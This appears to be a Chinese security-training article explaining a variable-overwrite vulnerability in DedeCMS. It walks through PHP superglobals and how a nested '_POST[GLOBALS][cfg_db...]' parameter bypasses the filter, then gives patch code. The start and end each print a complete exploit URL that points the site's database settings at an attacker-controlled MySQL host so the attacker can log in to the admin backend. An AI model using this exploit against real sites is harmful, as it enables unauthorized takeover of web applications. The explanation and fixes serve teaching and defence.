暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

PHP漏洞全解-变量覆盖-小迪安全

小迪安全 2015-11-07
80

本文档与视频动画同步讲解,如需视频动画参考培训事项(回复序列号2获取)


Dedecms变量覆盖漏洞exp

http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS][cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS][cfg_dbname]=自己的dedecms的数据库

覆盖数据库配置信息变量

变量值和变量名 相似的地方


一. 了解PHP超级全局变量
下面是PHP的超级全局变量,可以了解一个特性,全是数组。
$GLOBALS, 所有全局变量数组
$_SERVER, 服务器环境变量数组
$_GET,通过GET方法传递给脚本的变量数组
$_POST, 通过POST方法传递给脚本的变量数组
$_COOKIE,cookie变量数组
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
$_FILES,与文件上传相关得变量数组
$_ENV,环境变量数组
$_SESSION,会话变量数组

二:理解$_GET变量

可以写个PHP来看看:
<?php
var_dump($_GET);
?>



访问
http://www.xxx.com /test.php?key=value

得到
array(1) { ["key"]=> string(5) "value" }

OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。


再访问
http://www.xxx.com /test.php?key[arr1]=value

得到
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }

我们通过GET方法传入了一个嵌套数组。


到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!


三. 深入跟进DEDECMS全局变量注册漏洞


真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:


提交一个嵌套数组:
http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X

array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>

array(1) { ["cfg_dbname"]=> string(1) "X" } } }






假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY

是_POST且是个数组,所以轻松绕过。
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}



接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册

了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}



到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!





四. 领悟漏洞后的修补

完全领悟这个漏洞后,就会知道怎么修补了。

1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。


foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}




2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
exit('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}





例子exp:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS]

[cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS]

[cfg_dbname]=自己的dedecms的数据库

作者:小迪

QQ:471656814

微信公众号:xiaodisec

个人博客:http://www.xiaosedi.com


文章转载自小迪安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论